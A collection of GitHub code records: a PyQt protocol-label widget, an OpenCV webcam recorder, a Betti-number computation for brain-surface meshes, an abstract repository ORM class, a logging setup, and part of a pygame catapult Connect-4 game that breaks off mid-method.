+{"seq_id":"35890641132","text":"from PyQt5.QtCore import Qt\nfrom PyQt5 import QtWidgets\n\n\nclass HostEntityProtocol(QtWidgets.QWidget):\n\n    def __init__(self):\n        super(HostEntityProtocol, self).__init__()\n        self.setContentsMargins(0, 0, 0, 0)\n        self.layout = QtWidgets.QHBoxLayout()\n        self.layout.setContentsMargins(0, 0, 0, 0)\n        self.setLayout(self.layout)\n        \n        self.spacer = QtWidgets.QWidget()\n        self.spacer.setSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Preferred);\n        self.layout.addWidget(self.spacer)\n        \n        self.widgets = []\n\n    def append(self, protocol, open=False):\n        if self.spacer is not None and self.spacer:\n            self.layout.removeWidget(self.spacer)\n            \n        label = QtWidgets.QLabel(protocol)\n        color = \"green\" if open else \"red\"\n        label.setStyleSheet('QWidget { color: #ffffff; padding: 0px 5px; font-size: 16px; background-color: %s; }' % color);\n        self.widgets.append(label)\n        \n        self.layout.addWidget(label, 0, Qt.AlignLeft)\n\n        self.spacer = QtWidgets.QWidget()\n        self.spacer.setSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Preferred);\n        self.layout.addWidget(self.spacer)\n\n    def clean(self):\n        for widget in self.widgets:\n            self.layout.removeWidget(widget)\n","repo_name":"AlexWoroschilow/WebKiosk","sub_path":"modules/manager_window_device/gui/widget.py","file_name":"widget.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"10728905638","text":"import cv2\nimport time\n\ncapture = cv2.VideoCapture(0)\nwidth = int(capture.get(cv2.CAP_PROP_FRAME_WIDTH))\nheight = int(capture.get(cv2.CAP_PROP_FRAME_HEIGHT))\n\nwriter = cv2.VideoWriter('output.mp4', cv2.VideoWriter_fourcc(*'DIVX'), 20, (width, height))\n\nwhile True:\n  success, img = capture.read()\n  writer.write(img)\n  cv2.imshow(\"Result\", img)\n  if cv2.waitKey(1) & 0xFF == ord('q'):\n    break\n\ncapture.release()\nwriter.release()\ncv2.destroyAllWindows()\n","repo_name":"Raytheon-Drone-2022-2023/Last-Year-Code","sub_path":"havard/OpenCVTest.py","file_name":"OpenCVTest.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"14253499595","text":"import numpy as np\r\nimport re\r\nimport matplotlib.pyplot as plt\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\n\r\n#返回复数中的n-单纯形\r\ndef nSimplices(n, complex):\r\n    nchain = []\r\n    for simplex in complex:\r\n        if len(simplex) == (n+1):\r\n            nchain.append(simplex)\r\n    if (nchain == []): nchain = [0]\r\n    return nchain\r\n\r\n#check if simplex is a face of another simplex\r\ndef checkFace(face, simplex):\r\n    if simplex == 0:\r\n        return 1\r\n    elif set(face) < set(simplex): #if face is a subset of simplex\r\n        return 1\r\n    else:\r\n        return 0\r\n#build boundary matrix for dimension n ---> (n-1) = p\r\ndef boundaryMatrix(nchain, pchain):\r\n    bmatrix = np.zeros((len(nchain),len(pchain)))\r\n    i = 0\r\n    for nSimplex in nchain:\r\n        j = 0\r\n        for pSimplex in pchain:\r\n            bmatrix[i, j] = checkFace(pSimplex, nSimplex)\r\n            j += 1\r\n        i += 1\r\n    return bmatrix.T\r\n\r\n\r\nlabel = np.loadtxt('pred_ts25.txt', dtype=int)\r\n#print(\"labels:\",label,label.shape)\r\n###列出所有的某一个脑区（脑区7）的节点索引\r\nVertex_id = [k for k in range(len(label)) if label[k] == 7]\r\n#print(\"Vertex_id:\",Vertex_id,len(Vertex_id))# 264\r\nwith open(\"Brain_area_Vertex_id.txt\", \"w\") as output_file:\r\n    for i in range(len(label)):\r\n        #从0开始，第一个就是11   只有后面triangle和edge里面有0则不需要做任何变换\r\n        if label[i]==7:\r\n            output_file.write(\"{}\\n\".format(i))\r\n\r\ndef reduce_matrix(matrix):\r\n    if np.size(matrix)==0:\r\n        return [matrix,0,0]\r\n    m=matrix.shape[0]\r\n    n=matrix.shape[1]\r\n    def _reduce(x):\r\n        nonzero=False\r\n        for i in range(x,m):\r\n            for j in range(x,n):\r\n                if matrix[i,j]==1:\r\n                    matrix[[x,i],:]=matrix[[i,x],:]\r\n                    matrix[:,[x,j]]=matrix[:,[j,x]]\r\n                    nonzero=True\r\n                    break\r\n            if nonzero:\r\n                break\r\n        if nonzero:\r\n            for i in range(x+1,m):\r\n                if matrix[i,x]==1:\r\n                    matrix[i,:] = np.logical_xor(matrix[x,:], matrix[i,:])\r\n            for i in range(x+1,n):\r\n                if matrix[x,i]==1:\r\n                    matrix[:,i] = np.logical_xor(matrix[:,x], matrix[:,i])\r\n            return _reduce(x+1)\r\n        else:\r\n            return x\r\n    rank=_reduce(0)\r\n    return [matrix, rank, n-rank]\r\n\r\n\r\nTriangles=np.loadtxt('subject26/lhtriangles.txt',dtype=int)\r\nTriangles=np.delete(Triangles, [0], axis=1)\r\nwith open(\"Brain_area_triangles.txt\", \"w\") as output_file:\r\n    for i in range(Triangles.shape[0]):\r\n        if set(Vertex_id) > set(Triangles[i,:].tolist()):\r\n            output_file.write(\"{}\\n\".format(Triangles[i,:]))\r\n#去掉其左右的\"[ ]\"\r\nwith open(\"Brain_area_triangles.txt\",\"r\",encoding=\"utf-8\") as f:\r\n    data = f.readlines()#根据打开的文件按行读取数据\r\npattern = re.compile(\"\\[(.*?)\\]\")\r\ndata_triangles = []\r\nfor value in data:\r\n    temp = pattern.findall(value.strip())[0].split(\" \")\r\n    data_triangles.append([float(i) for i in temp if i != \"\"])#vertices的内容，特别是坐标点的内容都是浮点数，所以用float(i)\r\ndata_triangles = np.array(data_triangles).astype(int)\r\n#print(\"data_sanjiao:\",data_triangles)\r\n\r\n\r\n#若是每行（边）的节点索引都属于  特定脑区的节点索引里面，那就保留下那一行\r\nEdges=np.loadtxt('subject26/lhedges.txt',dtype=int)\r\nwith open(\"Brain_area_edges.txt\", \"w\") as output_file:\r\n    for i in range(Edges.shape[0]):\r\n        if set(Vertex_id) > set(Edges[i,:].tolist()):\r\n            output_file.write(\"{}\\n\".format(Edges[i,:]))\r\nwith open(\"Brain_area_edges.txt\",\"r\",encoding=\"utf-8\") as f:\r\n    data = f.readlines()#根据打开的文件按行读取数据\r\npattern = re.compile(\"\\[(.*?)\\]\")\r\ndata_edges = []\r\nfor value in data:\r\n    temp = pattern.findall(value.strip())[0].split(\" \")\r\n    data_edges.append([float(i) for i in temp if i != \"\"])#vertices的内容，特别是坐标点的内容都是浮点数，所以用float(i)\r\ndata_edges = np.array(data_edges).astype(int)\r\n#print(\"data_edge:\",data_edges)\r\n\r\n\r\n\r\n###首先是得到0维,1维,2维单形      ###0维就是节点索引，一维就是边的关系，二维就是triangle\r\ncomplex_0=np.loadtxt('Brain_area_Vertex_id.txt').astype(int)\r\nb=[]\r\nfor i in range(complex_0.shape[0]):\r\n    b.append({complex_0[i]})#[{10237}, {10239}, {10240}, {10241}]\r\ncomplex_0=b\r\n#print(b,type(b))\r\ncomplex_1=data_edges.tolist()\r\ncomplex_2=data_triangles.tolist()\r\n#print(\"complex_0:\",complex_0)\r\ncomplexs=complex_0+complex_1+complex_2\r\n#print(\"complexs:\",complexs,type(complexs))\r\n#[1,2,3,[1,2],[1,2,3]]--->[{1},{2},{3},{1,2},{1,2,3}]\r\n\r\n\r\n\r\n###计算C0  264\r\nchain0 = nSimplices(0, complexs)#\r\n####计算C1  1412\r\nchain1 = nSimplices(1, complexs)#\r\n###计算c2 441\r\nchain2 = nSimplices(2,complexs)\r\n\r\n#节点264  :边1412  三角441\r\n###相当于chanin1:264   chanin2:1412  chain3:441\r\nBn1=boundaryMatrix(chain1, chain0)# (264, 1412)\r\nBn2=boundaryMatrix(chain1,chain2)#边数、三角数--->[三角数，边数，进行一个转置了]   (441, 1412)\r\n\r\n\r\n#Initialize boundary matrices\r\n####点的个数\r\nboundaryMap0 = np.matrix(np.zeros(264).astype(int))\r\nboundaryMap1 = np.matrix(Bn1)#节点，边数\r\nboundaryMap2 = np.matrix(Bn2)#三角数，边数\r\n\r\n\r\n#Smith normal forms of the boundary matrices\r\nsmithBM0 = reduce_matrix(boundaryMap0)\r\nsmithBM1 = reduce_matrix(boundaryMap1)\r\nsmithBM2 = reduce_matrix(boundaryMap2)\r\n\r\n#Calculate Betti numbers\r\nbetti0 = (smithBM0[2] - smithBM1[1])#0-1  位置都是2,1\r\nbetti1 = (smithBM1[2] - smithBM2[1])#2-1 位置都是2,1\r\nbetti2 = 0  #There is no n+1 chain group, so the Betti is 0\r\n\r\n\r\nprint(\" Betti #0: %s \\n Betti #1: %s \\n Betti #2: %s\" % (betti0, betti1, betti2))\r\n'''\r\nBetti #0: 2 \r\nBetti #1: 1150 \r\nBetti #2: 0\r\n感觉这个结果就不合理，所以应该是有问题的...具体问题出在哪里不太清楚\r\n'''\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"tanjia123456/Brain_area_PH","sub_path":"compute_betti_ZH1.py","file_name":"compute_betti_ZH1.py","file_ext":"py","file_size_in_byte":5970,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"70719222970","text":"\"\"\"Define the interface of the repositories.\"\"\"\n\nimport abc\nimport logging\nfrom contextlib import suppress\nfrom typing import Dict, List, Type, TypeVar\n\nfrom repository_orm.exceptions import TooManyEntitiesError\n\nfrom ...exceptions import AutoIncrementError, EntityNotFoundError\nfrom ...model import Entity, EntityID, EntityOrEntitiesT, EntityT\nfrom .cache import Cache\n\nlog = logging.getLogger(__name__)\n\n\nclass Repository(abc.ABC):\n    \"\"\"Gather common methods and define the interface of the repositories.\n\n    Attributes:\n        database_url: URL specifying the connection to the database.\n    \"\"\"\n\n    @abc.abstractmethod\n    def __init__(\n        self,\n        database_url: str = \"\",\n    ) -> None:\n        \"\"\"Initialize the repository attributes.\n\n        Args:\n            database_url: URL specifying the connection to the database.\n        \"\"\"\n        self.database_url = database_url\n        self.cache = Cache()\n\n    def add(\n        self, entities: EntityOrEntitiesT, merge: bool = False\n    ) -> EntityOrEntitiesT:\n        \"\"\"Append an entity or list of entities to the repository.\n\n        If the id is not set, it will automatically increment the last available one.\n\n        If `merge` is True, added entities will be merged with the existent ones in\n        the cache.\n\n        Args:\n            entities: Entity or entities to add to the repository.\n\n        Returns:\n            entity or entities\n        \"\"\"\n        if isinstance(entities, Entity):\n            entity = entities\n\n            if isinstance(entity.id_, int) and entity.id_ < 0:\n                entity.id_ = self.next_id(entity)\n\n            if merge:\n                with suppress(EntityNotFoundError):\n                    stored_entity = self.get(entity.id_, type(entity))\n                    entity = stored_entity.merge(entity)\n\n            if self.cache.entity_has_not_changed(entity):\n                log.debug(\n                    f\"Skipping the addition of entity {entity} as it hasn't changed\"\n                )\n                return entity\n            entity = self._add(entity)\n            self.cache.add(entity)\n            return entity\n\n        if isinstance(entities, list):\n            updated_entities: List[Entity] = []\n            for entity in entities:\n                updated_entities.append(self.add(entity, merge))\n            return updated_entities\n\n        raise ValueError(\"Please add an entity or a list of entities\")\n\n    @abc.abstractmethod\n    def _add(self, entity: EntityT) -> EntityT:\n        \"\"\"Append an entity to the repository.\n\n        This method is specific to each database adapter.\n\n        Args:\n            entity: Entity to add to the repository.\n\n        Returns:\n            entity\n        \"\"\"\n        raise NotImplementedError\n\n    @abc.abstractmethod\n    def delete(self, entity: EntityT) -> None:\n        \"\"\"Delete an entity from the repository.\n\n        Args:\n            entity: Entity to remove from the repository.\n        \"\"\"\n        raise NotImplementedError\n\n    def get(\n        self,\n        id_: EntityID,\n        model: Type[EntityT],\n        attribute: str = \"id_\",\n    ) -> EntityT:\n        \"\"\"Obtain an entity from the repository by it's ID.\n\n        Also save the entity in the cache\n\n        Args:\n            model: Entity class to obtain.\n            id_: ID of the entity to obtain.\n\n        Returns:\n            entity: Entity object that matches the id_\n\n        Raises:\n            EntityNotFoundError: If the entity is not found.\n            TooManyEntitiesError: If more than one entity was found.\n        \"\"\"\n        entities = self._get(value=id_, model=model, attribute=attribute)\n\n        if len(entities) > 1:\n            raise TooManyEntitiesError(\n                f\"More than one entity was found with the {attribute} {id_}\"\n            )\n        if len(entities) == 0:\n            raise EntityNotFoundError(\n                f\"There are no entities of type {model.__name__} in the repository \"\n                f\"with {attribute} {id_}.\"\n            )\n\n        entity = entities[0]\n        entity.clear_defined_values()\n        self.cache.add(entity)\n        return entity\n\n    @abc.abstractmethod\n    def _get(\n        self,\n        value: EntityID,\n        model: Type[EntityT],\n        attribute: str = \"id_\",\n    ) -> List[EntityT]:\n        \"\"\"Obtain all entities from the repository that match an id_.\n\n        If the attribute argument is passed, check that attribute instead.\n\n        Args:\n            value: Value of the entity attribute to obtain.\n            model: Entity class to obtain.\n            attribute: Entity attribute to check.\n\n        Returns:\n            entities: All entities that match the criteria.\n        \"\"\"\n        raise NotImplementedError\n\n    def all(\n        self,\n        model: Type[EntityT],\n    ) -> List[EntityT]:\n        \"\"\"Get all the entities from the repository that match a model.\n\n        Also store the entities in the cache.\n\n        Args:\n            model: Entity class or classes to obtain.\n        \"\"\"\n        entities = sorted(self._all(model))\n\n        for entity in entities:\n            entity.clear_defined_values()\n            self.cache.add(entity)\n\n        return entities\n\n    @abc.abstractmethod\n    def _all(self, model: Type[EntityT]) -> List[EntityT]:\n        \"\"\"Get all the entities from the repository that match a model.\n\n        Particular implementation of the database adapter.\n\n        Args:\n            model: Entity class to obtain.\n        \"\"\"\n        raise NotImplementedError\n\n    @abc.abstractmethod\n    def commit(self) -> None:\n        \"\"\"Persist the changes into the repository.\"\"\"\n        raise NotImplementedError\n\n    def search(\n        self,\n        fields: Dict[str, EntityID],\n        model: Type[EntityT],\n    ) -> List[EntityT]:\n        \"\"\"Get the entities whose attributes match one or several conditions.\n\n        Also add the found entities to the cache.\n\n        Args:\n            model: Entity class to obtain.\n            fields: Dictionary with the {key}:{value} to search.\n\n        Returns:\n            entities: List of Entity object that matches the search criteria.\n        \"\"\"\n        found_entities = sorted(self._search(fields, model))\n\n        for entity in found_entities:\n            entity.clear_defined_values()\n            self.cache.add(entity)\n\n        return found_entities\n\n    @abc.abstractmethod\n    def _search(\n        self,\n        fields: Dict[str, EntityID],\n        model: Type[EntityT],\n    ) -> List[EntityT]:\n        \"\"\"Get the entities whose attributes match one or several conditions.\n\n        Particular implementation of the database adapter.\n\n        Args:\n            model: Entity class to obtain.\n            fields: Dictionary with the {key}:{value} to search.\n\n        Returns:\n            entities: List of Entity object that matches the search criteria.\n        \"\"\"\n        raise NotImplementedError\n\n    @abc.abstractmethod\n    def apply_migrations(self, migrations_directory: str) -> None:\n        \"\"\"Run the migrations of the repository schema.\n\n        Args:\n            migrations_directory: path to the directory containing the migration\n                scripts.\n        \"\"\"\n        raise NotImplementedError\n\n    def last(\n        self,\n        model: Type[EntityT],\n    ) -> EntityT:\n        \"\"\"Get the biggest entity from the repository.\n\n        Args:\n            model: Entity class to obtain.\n\n        Returns:\n            entity: Biggest Entity object that matches a model.\n\n        Raises:\n            EntityNotFoundError: If there are no entities.\n        \"\"\"\n        try:\n            return max(self.all(model))\n        except ValueError as error:\n            raise EntityNotFoundError(\n                f\"There are no entities of type {model.__name__} in the repository.\"\n            ) from error\n\n    def first(\n        self,\n        model: Type[EntityT],\n    ) -> EntityT:\n        \"\"\"Get the smallest entity from the repository.\n\n        Args:\n            model: Type of entity object to obtain.\n\n        Returns:\n            entity: Smallest Entity object that matches a model.\n\n        Raises:\n            EntityNotFoundError: If there are no entities.\n        \"\"\"\n        try:\n            return min(self.all(model))\n        except ValueError as error:\n            raise EntityNotFoundError(\n                f\"There are no entities of type {model.__name__} in the repository.\"\n            ) from error\n\n    def next_id(self, entity: EntityT) -> int:\n        \"\"\"Return one id unit more than the last entity id in the repository index.\n\n        Args:\n            entity: Entity whose model we want to get the next entity id.\n        \"\"\"\n        try:\n            last_id = self.last(type(entity)).id_\n        except EntityNotFoundError:\n            return 0\n        if isinstance(last_id, int):\n            return last_id + 1\n        raise AutoIncrementError(\n            \"Auto increment is not yet supported for Entities with string id_s. \"\n            \"Please set the id_ yourself before adding the entities to the \"\n            \"repository.\"\n        )\n\n    @abc.abstractmethod\n    def close(self) -> None:\n        \"\"\"Close the connection to the database.\"\"\"\n        raise NotImplementedError\n\n    @property\n    @abc.abstractmethod\n    def is_closed(self) -> bool:\n        \"\"\"Inform if the connection is closed.\"\"\"\n        raise NotImplementedError\n\n    @abc.abstractmethod\n    def empty(self) -> None:\n        \"\"\"Remove all entities from the repository.\"\"\"\n        raise NotImplementedError\n\n\nRepositoryT = TypeVar(\"RepositoryT\", bound=Repository)\n","repo_name":"lyz-code/repository-orm","sub_path":"src/repository_orm/adapters/data/abstract.py","file_name":"abstract.py","file_ext":"py","file_size_in_byte":9580,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"77"}
+{"seq_id":"8117795271","text":"\"\"\"Initialize the ml_utils package.\"\"\"\n\nimport datetime\nimport os\nimport logging\nimport daiquiri\n\nDEBUG = os.getenv('DEBUG', False) == 'true'\n\nformatter = daiquiri.formatter.ColorExtrasFormatter(\n    fmt=(daiquiri.formatter.DEFAULT_EXTRAS_FORMAT +\n         \" [%(filename)s:%(lineno)s F:%(funcName)s()]\"))\n\ndaiquiri.setup(\n    level=logging.DEBUG if DEBUG else logging.ERROR,\n    outputs=(\n        daiquiri.output.TimedRotatingFile('/tmp/rudra.errors.log',\n                                          level=logging.WARNING,\n                                          interval=datetime.timedelta(hours=48)),\n        daiquiri.output.Stream(formatter=formatter)\n    )\n)\n\nlogger = daiquiri.getLogger(__name__)\n","repo_name":"fabric8-analytics/fabric8-analytics-rudra","sub_path":"rudra/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"41685890940","text":"import pygame\r\nimport pymunk\r\nimport time\r\nimport os\r\nimport numpy as np\r\nfrom numpy import int8\r\nimport random\r\nimport math\r\nfrom menu import *\r\n# from trajectory import PathPredictor\r\nfrom cpu import CPU\r\n\r\nclass Catapult_4:\r\n    def __init__(self, width, height):\r\n        # pygame set up\r\n        pygame.init()\r\n        self.clock = pygame.time.Clock()\r\n        self.WINDOW_WIDTH, self.WINDOW_HEIGHT = width, height\r\n        self.WINDOW = pygame.display.set_mode((self.WINDOW_WIDTH, self.WINDOW_HEIGHT))\r\n        pygame.display.set_caption(\"Catapult Connect 4\")\r\n\r\n        # set up fonts\r\n        self.aim_font = pygame.font.SysFont(\"verdana\", 20)\r\n        self.win_font_name = 'hpsimplified'\r\n        self.win_font_size = self.WINDOW_HEIGHT//8   \r\n        self.turn_font_size = self.win_font_size//3    \r\n\r\n        # set pymunk space variables\r\n        self.space = None\r\n        self.VERT_GRAVITY_VAL = int(self.WINDOW_HEIGHT/1.5)\r\n        self.DAMPING_VAL = 0.75\r\n        # Distance a disc must travel under between steps to be considered still\r\n        self.disc_dist_tol = 0.003\r\n        self.sol_wait_time = 3\r\n\r\n        # I implemented frame rate indepedence but removed it since it messed with the physics\r\n        # The collisions don't work correctly when the discs are allowed to move too much per frame\r\n        self.prev_time = None\r\n        self.current_time = None\r\n        self.dt = None\r\n        self.FPS = 120\r\n        self.STEP_SIZE = 1/50\r\n\r\n        # game colours\r\n        self.BLUE = (40, 90, 210)\r\n        self.RED = (255, 0, 0)\r\n        self.YELLOW = (230, 230, 0)\r\n        self.ORANGE = (227, 150, 27)\r\n        self.TEAL = (23, 252, 203)\r\n        self.BLACK = (0, 0, 0)\r\n        self.WHITE = (255, 255, 255)\r\n        self.DARK_GREY = (50, 50, 50)\r\n        self.GREY = (65, 65, 65)\r\n        self.BG_COLOUR = self.GREY\r\n\r\n        # states for the turn and also values that fill the board matrix that represents the current state of the game\r\n        self.turn = 0        \r\n        self.RED_TURN = 0\r\n        self.YELLOW_TURN = 1\r\n\r\n        self.RED_PIECE = 1\r\n        self.YELLOW_PIECE = 2\r\n        self.cpu_piece = None\r\n        self.cpu_colour = None\r\n\r\n        # disc spawn positions\r\n        self.RED_SPAWN = (5*self.WINDOW_WIDTH//6, self.WINDOW_HEIGHT//2)\r\n        self.YELLOW_SPAWN = (1*self.WINDOW_WIDTH//6, self.WINDOW_HEIGHT//2)\r\n\r\n        self.running = True\r\n        self.playing = False \r\n        self.ready_to_aim = True\r\n        self.resetting = False\r\n        # currently unutilised but functional\r\n        self.aiming = False\r\n\r\n        self.player_turn = True\r\n        self.computer_turn = False\r\n        self.vs_cpu = False\r\n\r\n        # constants for how far the disc can be launched\r\n        self.disc_launch_factor = min(self.WINDOW_WIDTH, self.WINDOW_HEIGHT)//75\r\n        self.aim_line_max_dis = int(min(self.WINDOW_WIDTH, self.WINDOW_HEIGHT)/3.75)   \r\n\r\n        self.aim_line_group = pygame.sprite.Group()\r\n        self.disc_group = pygame.sprite.Group()\r\n        self.button_group = pygame.sprite.Group()\r\n        \r\n        self.buttons = []\r\n        self.button_size = min(self.WINDOW_WIDTH, self.WINDOW_HEIGHT)//10\r\n        self.add_button((self.WINDOW_WIDTH-(self.button_size*2 + 10), self.WINDOW_HEIGHT//15), \"Restart_Button.png\", \"Hover_Restart_Button.png\",  self.button_size,  self.button_size, \"restart\")\r\n        self.add_button((self.WINDOW_WIDTH-self.button_size, self.WINDOW_HEIGHT//15), \"Back_Button.png\", \"Hover_Back_Button.png\",  self.button_size,  self.button_size, \"back\")\r\n\r\n        # Game modes hold the rows, columns and connect amount variables\r\n        self.game_modes = {\r\n            'standard' : (6, 7, 4),\r\n            'precision' : (5, 1, 8),\r\n            'practise' : (6, 7, 8) \r\n        }\r\n        self.game_mode = self.game_modes['standard']\r\n\r\n        self.cpu_difficulty = 'medium'\r\n\r\n        self.disc = None\r\n        self.board = None       \r\n\r\n        self.main_menu = MainMenu(self)\r\n        self.game_mode_menu = GameModeMenu(self)\r\n        self.custom_menu = CustomMenu(self)\r\n        self.settings_menu = SettingsMenu(self)\r\n        self.vs_menu = VersusMenu(self)\r\n        self.current_menu = self.main_menu\r\n\r\n    # Aim indicator line when launching discs\r\n    class Aim_Line(pygame.sprite.Sprite):\r\n        def __init__(self, origin, colour, font, window, max_dis):\r\n            super().__init__()\r\n            self.colour = colour\r\n            self.origin = origin\r\n            self.endpoint = origin\r\n            self.line_width = 2\r\n            self.power = None\r\n            self.angle = None\r\n\r\n            self.aim_font = font\r\n            self.WINDOW = window\r\n            # maximun line length\r\n            self.max_dis = max_dis\r\n\r\n        def update(self):\r\n            # Creates line between first clicked position and current position\r\n            self.endpoint = pygame.mouse.get_pos()\r\n            x_dif = self.endpoint[0]-self.origin[0]\r\n            y_dif = self.endpoint[1]-self.origin[1]\r\n            distance = math.sqrt(x_dif**2 + y_dif**2)\r\n            angle = math.atan2(y_dif , x_dif)\r\n\r\n            if distance < self.max_dis:\r\n                pygame.draw.line(self.WINDOW, self.colour, self.origin, self.endpoint, self.line_width)\r\n\r\n                power_ind = round(distance / (self.max_dis/100), 1)\r\n                label = self.aim_font.render(f\"{power_ind}\", 1, self.colour)\r\n                self.WINDOW.blit(label, (self.endpoint[0] + 10, self.endpoint[1] + 10))\r\n\r\n            else: # if cursor is further than the max line distance, it gets the angle and draws the line at the set max length\r\n                new_x_dif = math.floor(self.max_dis * math.cos(angle))\r\n                new_y_dif = math.floor(self.max_dis * math.sin(angle))\r\n                self.endpoint = (self.origin[0] + new_x_dif, self.origin[1] + new_y_dif)\r\n\r\n                power_ind = 100\r\n        \r\n                pygame.draw.line(self.WINDOW, self.colour, self.origin, self.endpoint, self.line_width)\r\n                label = self.aim_font.render(f\"{power_ind}\", 1, self.colour)\r\n                self.WINDOW.blit(label, (self.endpoint[0] + 10, self.endpoint[1] + 10))\r\n\r\n            self.power = power_ind\r\n            self.angle = angle\r\n\r\n\r\n    class Disc(pygame.sprite.Sprite):\r\n        def __init__(self, pos, radius, image, turn, space, launch_factor):\r\n            super().__init__()\r\n\r\n            # creates disc as pymunk shape and adds to space\r\n            mass = 10\r\n            self.body = pymunk.Body(mass, pymunk.moment_for_circle(mass, 0, radius), body_type=pymunk.Body.DYNAMIC)\r\n            self.body.position = pos # center of the body\r\n            self.shape = pymunk.Circle(self.body, radius)\r\n            self.shape.elasticity = 0.65\r\n            self.shape.friction = 1\r\n            self.space = space\r\n            self.space.add(self.body, self.shape)\r\n\r\n            self.image = pygame.transform.scale(pygame.image.load(os.path.join('resources', image)), (2*radius, 2*radius))\r\n            self.rect = self.image.get_rect()\r\n            self.rect.center = pos\r\n\r\n            # constant that controls the power of a launch\r\n            self.launch_factor = launch_factor\r\n            self.turn = turn\r\n            # Value that will be added to the board matrix once the disc has settled\r\n            self.piece_value = self.turn + 1\r\n            self.radius = radius\r\n\r\n            self.set_in_board = False\r\n            self.path_prediction = None\r\n\r\n        def update(self):\r\n            self.rect.center = self.body.position\r\n\r\n        def launch(self, angle, power):\r\n            x_component = math.cos(angle) * power * self.launch_factor\r\n            y_component = math.sin(angle) * power * self.launch_factor\r\n            self.body.velocity = (self.body.velocity[0] - x_component, self.body.velocity[1] - y_component)\r\n            # self.path_prediction = PathPredictor(self.space.gravity[1], self.space.damping, self.body.position, self.body.velocity, 0.05)\r\n            # self.path_prediction.get_checkpoints()\r\n\r\n        # Run after the disc has stopped moving inside the board\r\n        def set_to_board(self, board, j):\r\n            self.set_in_board = True\r\n            for i in range(board.rows-1, -1, -1):\r\n                if board.filled_spaces[i, j] == 0:\r\n                    board.filled_spaces[i, j] = self.piece_value\r\n                    break\r\n\r\n\r\n    class Board:\r\n        def __init__(self, space, colour, window, window_width, window_height, rows, cols, connect_amount):\r\n            self.colour = colour\r\n            self.WINDOW = window\r\n            self.WINDOW_HEIGHT = window_height\r\n            self.WINDOW_WIDTH = window_width\r\n    \r\n            # Win cases\r\n            self.H_SOLUTION = 0\r\n            self.V_SOLUTION = 1\r\n            self.PD_SOLUTION = 2\r\n            self.SD_SOLUTION = 3\r\n\r\n            # Values in .filled_spaces\r\n            self.EMPTY = 0\r\n            self.RED_PIECE = 1\r\n            self.YELLOW_PIECE = 2\r\n\r\n            # Board configuration\r\n            self.rows = rows\r\n            self.cols = cols\r\n            self.CONNECT_AMOUNT = connect_amount  \r\n\r\n            # Board sizing\r\n            self.SLOT_SIZE = int(min(self.WINDOW_HEIGHT, self.WINDOW_WIDTH)/11.5)\r\n            self.SLOT_BORDER = self.SLOT_SIZE//10\r\n            self.FRAME_HEIGHT = self.SLOT_SIZE * self.rows \r\n            self.FRAME_WIDTH = self.cols * (self.SLOT_BORDER + self.SLOT_SIZE) + self.SLOT_BORDER\r\n            #\r\n            self.DISC_RADIUS = (self.SLOT_SIZE-(self.SLOT_SIZE//12))//2 \r\n            self.SOL_LINE_THICKNESS = self.DISC_RADIUS//4\r\n\r\n            self.filled_spaces = np.zeros((self.rows, self.cols), dtype=int8)\r\n            # The origin is the vertical centre of the board (not including the base), and on the left hand side\r\n            self.origin = (self.WINDOW_WIDTH//2 - ((self.SLOT_SIZE + self.SLOT_BORDER)*self.cols + self.SLOT_BORDER)//2, self.WINDOW_HEIGHT - self.FRAME_HEIGHT//2 - self.WINDOW_HEIGHT//15) \r\n            self.base_height = min(self.WINDOW_HEIGHT, self.WINDOW_WIDTH)//20\r\n\r\n            self.elasticity = 0.75\r\n            # frame is a list of shapes that make up the board\r\n            self.frame = self.make_frame(space)        \r\n            self.cover_image = pygame.transform.scale(pygame.image.load(os.path.join('resources', 'Board_Front.png')), (self.SLOT_SIZE, self.DISC_RADIUS*2))\r\n            # reference points for drawing the cover\r\n            self.bottom_left_point = (self.frame[0].bb[2], self.frame[0].bb[3] - self.cover_image.get_height())\r\n            self.top_left_point = (self.frame[0].bb[2], self.frame[0].bb[1])\r\n\r\n            # points in each column in which a disc would land\r\n            self.query_points = [(self.origin[0] + ((i + 1/2) * (self.SLOT_SIZE + self.SLOT_BORDER)), self.origin[1] + self.FRAME_HEIGHT//2 - self.DISC_RADIUS) for i in range(self.cols)]\r\n            \r\n\r\n        def make_frame(self, space):\r\n            frame = []\r\n\r\n            for i in range(self.cols + 1):\r\n                # Makes vertical pieces of the board\r\n                body = pymunk.Body(body_type = pymunk.Body.STATIC)\r\n                body.position = (self.origin[0] + (i * (self.SLOT_SIZE + self.SLOT_BORDER)), self.origin[1])\r\n                shape = pymunk.Poly.create_box(body, size=(self.SLOT_BORDER, self.FRAME_HEIGHT))\r\n                shape.elasticity = self.elasticity\r\n                space.add(body, shape)\r\n                frame.append(shape)\r\n\r\n            # Builds bottom of the board\r\n            body = pymunk.Body(body_type = pymunk.Body.KINEMATIC)\r\n            # fits base to the board without rounding errors and then adds some extra width\r\n            buffer = self.SLOT_SIZE//5\r\n            base_vertices = [(frame[0].bb[0]-buffer, frame[0].bb[3]), (frame[0].bb[0]-buffer, frame[0].bb[3]+self.base_height), (frame[-1].bb[2]+buffer, frame[0].bb[3]), (frame[-1].bb[2]+buffer, frame[0].bb[3]+self.base_height)]\r\n            shape = pymunk.Poly(body, base_vertices)\r\n            shape.elasticity = self.elasticity\r\n            shape.friction = 1\r\n            space.add(body, shape)\r\n            frame.append(shape)        \r\n\r\n            return frame\r\n\r\n        def draw_frame(self):\r\n            for poly in self.frame:\r\n                pos_x = int(poly.bb[0])\r\n                pos_y = int(poly.bb[1])\r\n                width = int(poly.bb[2] - poly.bb[0])\r\n                height = int(poly.bb[3] - poly.bb[1])\r\n                